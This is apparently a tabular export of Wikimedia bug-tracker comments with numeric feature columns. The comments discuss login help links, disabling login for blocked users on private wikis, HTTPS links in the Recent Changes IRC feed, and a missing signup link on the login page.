245515,Link to existing login help page by default from helplogin-url,[Bumping TM as MediaWiki 1.22.0 tarball was released today.],,,1386383880,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.333333333333333,1.0,[Bumping TM as MediaWiki 1.22.0 tarball was released today.]
245508,Link to existing login help page by default from helplogin-url,"(In reply to comment #5)
> By the way, we should agree on a common style for these external links (if we
> don't have it already). I believe they should have the arrow of external link
> and open in a new page.

Yes, that's worth a separate bug to standardise old and new ones; add it as a blocker of bug 43591 please. We'll also need a standard icon for the cases where a simple link with label is not possible/appropriate (probably something as the Translate extension does), one more reason to file the bug.",,,1378761544,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,True,,,1,True,0.0,1.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,11.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,9.0,1.0,9.0,1.0,1.0,10.0,0.0,0.0,0.0,1.0,6.0,1.0,4.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,3.6202531645569622,0.7721518987341772,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

Yes, that's worth a separate bug to standardise old and new ones; add it as a blocker of bug 43591 please. We'll also need a standard icon for the cases where a simple link with label is not possible/appropriate (probably something as the Translate extension does), one more reason to file the bug."
245500,Link to existing login help page by default from helplogin-url,"By the way, we should agree on a common style for these external links (if we don't have it already). I believe they should have the arrow of external link and open in a new page.",,,1378760730,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,5.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,12.0,14.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8333333333333334,"By the way, we should agree on a common style for these external links (if we don't have it already). I believe they should have the arrow of external link and open in a new page."
245493,Link to existing login help page by default from helplogin-url,"Good idea. The wiki page needs improvement, thinking that users from other wikis will land there for basic help. Currently for those users the wiki page will look like a wall of text.",,,1378759772,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.081081081081081,0.8108108108108109,"Good idea. The wiki page needs improvement, thinking that users from other wikis will land there for basic help. Currently for those users the wiki page will look like a wall of text."
245486,Link to existing login help page by default from helplogin-url,"(In reply to comment #2)
> Sorry but... where helplogin-url linked from in a fresh MediaWiki install?
> Can't find it.

You can find this sort of information in /qqq: https://translatewiki.net/wiki/MediaWiki:Helplogin-url/qqq
It's in Special:UserLogin.",,,1378758993,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,16.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.84375,"(In reply to comment #2)
QUOTE
QUOTE

You can find this sort of information in /qqq: URL
It's in Special:UserLogin."
245479,Link to existing login help page by default from helplogin-url,Sorry but... where helplogin-url linked from in a fresh MediaWiki install? Can't find it.,,,1378758469,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Sorry but... where helplogin-url linked from in a fresh MediaWiki install? Can't find it.
245472,Link to existing login help page by default from helplogin-url,"Change 83220 had a related patch set uploaded by Nemo bis:
Link to existing login help page by default from helplogin-url

https://gerrit.wikimedia.org/r/83220",,,1378539762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.222222222222222,0.9629629629629629,"Change 83220 had a related patch set uploaded by Nemo bis:
Link to existing login help page by default from helplogin-url

GERRIT_URL"
55871,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"**Author:** `Thehelpfulonewiki`

**Description:**
In bug 23231 a number of private wikis had wgBlockDisablesLogin set as true. Since then we've had some more private wikis created (such as IEGCom Wiki, Transition Team wiki etc). Instead of requesting this setting to be set on a individual wiki basis, can we just set it to be true for all private wikis?  i.e. Add

'private' => 'true',

to 'wgBlockDisablesLogin' => array(

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1378506360,1378929495.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-saw7lgv4z3na6rmubb3b,task_description,resolved,True,c2,3,False,False,True,1,True,1.5,0.0,0.0,0.5,0.0,7.0,1.0,0.0,0.0,0.0,3.0,5.5,0.0,0.0,0.0,1.5,0.5,2.5,6.5,0.0,2.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,7.5,0.5,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.0,6.5,4.5,1.0,5.0,0.0,2.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,3.0,3.5677966101694913,0.6949152542372881,"**Author:** CODE

**Description:**
In bug 23231 a number of private wikis had wgBlockDisablesLogin set as true. Since then we've had some more private wikis created (such as IEGCom Wiki, Transition Team wiki etc). Instead of requesting this setting to be set on a individual wiki basis, can we just set it to be true for all private wikis?  i.e. Add

'private' => 'true',

to 'wgBlockDisablesLogin' => array(

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
244321,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"Change 83375 merged by jenkins-bot:
Sets wgBlockDisablesLogin true on private wikis.

https://gerrit.wikimedia.org/r/83375",,,1378925820,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,"Change 83375 merged by jenkins-bot:
Sets wgBlockDisablesLogin true on private wikis.

GERRIT_URL"
244316,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"Change 83375 had a related patch set uploaded by Dereckson:
Sets wgBlockDisablesLogin true on private wikis.

https://gerrit.wikimedia.org/r/83375",,,1378679084,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0476190476190474,1.0,"Change 83375 had a related patch set uploaded by Dereckson:
Sets wgBlockDisablesLogin true on private wikis.

GERRIT_URL"
244310,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"For reference:

[ Already enabled on ]

arbcom_dewiki
arbcom_nlwiki
auditcomwiki
boardwiki
chairwiki
checkuserwiki
collabwiki
chapcomwiki
execwiki
fdcwiki
internalwiki
noboard_chapterswikimedia
officewiki
ombudsmenwiki
otrs_wikiwiki
stewardwiki
wikimaniateamwiki

[ This configuration will affect the following wikis ]

arbcom_enwiki
arbcom_fiwiki
boardgovcomwiki
grantswiki
iegcomwiki
ilwikimedia
movementroleswiki
searchcomwiki
spcomwiki
transitionteamwiki
wg_enwiki",,,1378656062,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.066666666666666,0.6,"For reference:

[ Already enabled on ]

arbcom_dewiki
arbcom_nlwiki
auditcomwiki
boardwiki
chairwiki
checkuserwiki
collabwiki
chapcomwiki
execwiki
fdcwiki
internalwiki
noboard_chapterswikimedia
officewiki
ombudsmenwiki
otrs_wikiwiki
stewardwiki
wikimaniateamwiki

[ This configuration will affect the following wikis ]

arbcom_enwiki
arbcom_fiwiki
boardgovcomwiki
grantswiki
iegcomwiki
ilwikimedia
movementroleswiki
searchcomwiki
spcomwiki
transitionteamwiki
wg_enwiki"
55526,Recent Changes IRC feed should link to the HTTPS diff,"With the recent move to push HTTPS, it makes sense to also link to the HTTPS version of diffs in the Recent Changes IRC feed.

To consider:
Bots that read those feeds might expect HTTP. Can we notify bot operators somehow?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1377764640,1441989602.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,PHID-USER-pwsgofaoir7tnszvfzqi,False,PHID-TASK-jnptklvp2tcfinojknnv,task_description,resolved,True,c2,3,True,True,False,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,6.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9545454545454546,0.7272727272727273,"With the recent move to push HTTPS, it makes sense to also link to the HTTPS version of diffs in the Recent Changes IRC feed.

To consider:
Bots that read those feeds might expect HTTP. Can we notify bot operators somehow?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
525330,Recent Changes IRC feed should link to the HTTPS diff,"This seems to work as expected now, probably because the canonical URLs were changed to https:// a while back.",,,1441989602,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,106,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,19.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.380952380952381,0.9523809523809523,"This seems to work as expected now, probably because the canonical URLs were changed to https:// a while back."
396884,Recent Changes IRC feed should link to the HTTPS diff,"Argh, true. Thanks.",,,1420743487,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,71,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.8333333333333334,"Argh, true. Thanks."
396811,Recent Changes IRC feed should link to the HTTPS diff,"no, this is about the irc feed",,,1420737177,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,71,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"no, this is about the irc feed"
396802,Recent Changes IRC feed should link to the HTTPS diff,"Going to https://en.wikipedia.org/wiki/Special:RecentChanges and looking at its source via the browser functionality, I see these headers:

```
<link rel=""copyright"" href=""//creativecommons.org/licenses/by-sa/3.0/"" />
<link rel=""alternate"" type=""application/atom+xml"" title=""&quot;Special:RecentChanges&quot; Atom feed"" href=""/w/api.php?hidebots=1&amp;days=7&amp;limit=50&amp;hidewikidata=1&amp;action=feedrecentchanges&amp;feedformat=atom"" />
<link rel=""canonical"" href=""http://en.wikipedia.org/wiki/Special:RecentChanges"" />
```
So the Feed URL itself seems to be protocol relative (while the canonical URL is not).

Looking at https://en.wikipedia.org/w/api.php?hidebots=1&days=7&limit=50&hidewikidata=1&action=feedrecentchanges&feedformat=atom
I see entries like
  <link rel=""alternate"" type=""text/html"" href=""https://en.wikipedia.org/w/index.php?title=Poutine&amp;diff=641598912&amp;oldid=640756202""/>

Not sure if that fixes this task though?",,,1420736561,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,71,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,16.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,11.0,8.0,1.0,3.0,0.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,3.6986301369863015,0.7808219178082192,"Going to URL and looking at its source via the browser functionality, I see these headers:

``CODE``
So the Feed URL itself seems to be protocol relative (while the canonical URL is not).

Looking at URL
I see entries like
  <link rel=""alternate"" type=""text/html"" href=""URL

Not sure if that fixes this task though?"
247927,Recent Changes IRC feed should link to the HTTPS diff,"(In reply to Alex Monk from comment #2)
> Why was this in the Wikimedia product?

Because it has very little to do with MediaWiki core. I don't think this is something MediaWiki core would decide. It uses the canonical server url as configured by the system administrator of the server.

If a wiki wants to promote HTTPS or even enforce by default, they should do so in general. I don't think it makes sense to do so for one very specific arbitrary part of the software (e.g. not page view, not e-mails, not API, but RCFeed, and only the IRC format..).

If Wikimedia wants to make an exception for it, they could do so in wmf-config.

Alternatively, since I'd rather not make breaking changes to IRCRCFormatter, this is probably something individual programs can do.

For example, the Huggle or CVNBot could rewrite urls as HTTPS for their users if their user base is interested in that.",,,1401962943,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,40,True,0.0,1.0,1.0,0.0,3.0,3.5,0.5,0.5,0.0,1.5,4.0,1.5,0.0,0.5,0.0,1.5,0.0,9.0,14.0,1.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,5.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,14.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,1.5,0.0,1.0,0.0,0.0,0.0,4.0,1.5,12.5,2.5,2.0,5.5,0.0,0.0,0.0,0.5,6.5,0.0,1.0,0.0,5.5,14.0,8.0,0.0,0.0,0.0,5.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.8118279569892475,0.7311827956989247,"(In reply to Alex Monk from comment #2)
QUOTE

Because it has very little to do with MediaWiki core. I don't think this is something MediaWiki core would decide. It uses the canonical server url as configured by the system administrator of the server.

If a wiki wants to promote HTTPS or even enforce by default, they should do so in general. I don't think it makes sense to do so for one very specific arbitrary part of the software (e.g. not page view, not e-mails, not API, but RCFeed, and only the IRC format..).

If Wikimedia wants to make an exception for it, they could do so in wmf-config.

Alternatively, since I'd rather not make breaking changes to IRCRCFormatter, this is probably something individual programs can do.

For example, the Huggle or CVNBot could rewrite urls as HTTPS for their users if their user base is interested in that."
247924,Recent Changes IRC feed should link to the HTTPS diff,"@Legoktm - if it is true that it uses the canonical URL, it makes sense to just wait for that change. Is there a bug for that, that this bug should depend on?",,,1377797303,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,16.0,3.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,8.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,19.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4864864864864864,0.7837837837837838,"SCREEN_NAME - if it is true that it uses the canonical URL, it makes sense to just wait for that change. Is there a bug for that, that this bug should depend on?"
247920,Recent Changes IRC feed should link to the HTTPS diff,Why was this in the Wikimedia product?,,,1377794113,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,12.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Why was this in the Wikimedia product?
247916,Recent Changes IRC feed should link to the HTTPS diff,"I believe those feeds simply use the canonical url, which is still HTTP.",,,1377789309,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jnptklvp2tcfinojknnv,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"I believe those feeds simply use the canonical url, which is still HTTP."
55306,[[Special:UserLogin]] missing link to signup form when user is logged in,"[[Special:UserLogin]] is missing a link to signup form when user is logged in. This appears to be the intended behavior (per LoginForm#showCreateOrLoginLink), but is rather annoying when a logged-in user wants to create another account.

This is rarely useful on Wikimedia wikis, which have a very open model (although even there sometimes it's useful to e.g. create account for user using banner IP range), but some third-party wikis use a more closed model where only site admins can create accounts – for them it's an important regression, as the previous form always had the link.

(As reported on #mediawiki a few minutes ago.)

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53447
https://bugzilla.wikimedia.org/show_bug.cgi?id=56854",Medium,50.0,1377375840,1381088264.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-qhcbj6e6gfltditzvaxv,task_description,resolved,True,c2,2,True,False,True,-1,True,1.0,0.0,0.5,0.5,0.0,7.5,1.5,0.0,0.5,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,7.5,7.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,4.5,0.5,1.0,0.5,0.0,0.5,0.5,0.5,0.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,5.0,2.5,8.0,2.0,1.0,7.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,1.5,7.5,3.0,0.0,0.0,0.0,1.5,0.0,2.0,3.5,0.5,1.0,0.5,0.0,1.0,3.8271604938271606,0.7160493827160495,"[[Special:UserLogin]] is missing a link to signup form when user is logged in. This appears to be the intended behavior (per LoginForm#showCreateOrLoginLink), but is rather annoying when a logged-in user wants to create another account.

This is rarely useful on Wikimedia wikis, which have a very open model (although even there sometimes it's useful to e.g. create account for user using banner IP range), but some third-party wikis use a more closed model where only site admins can create accounts – for them it's an important regression, as the previous form always had the link.

(As reported on #mediawiki a few minutes ago.)

--------------------------
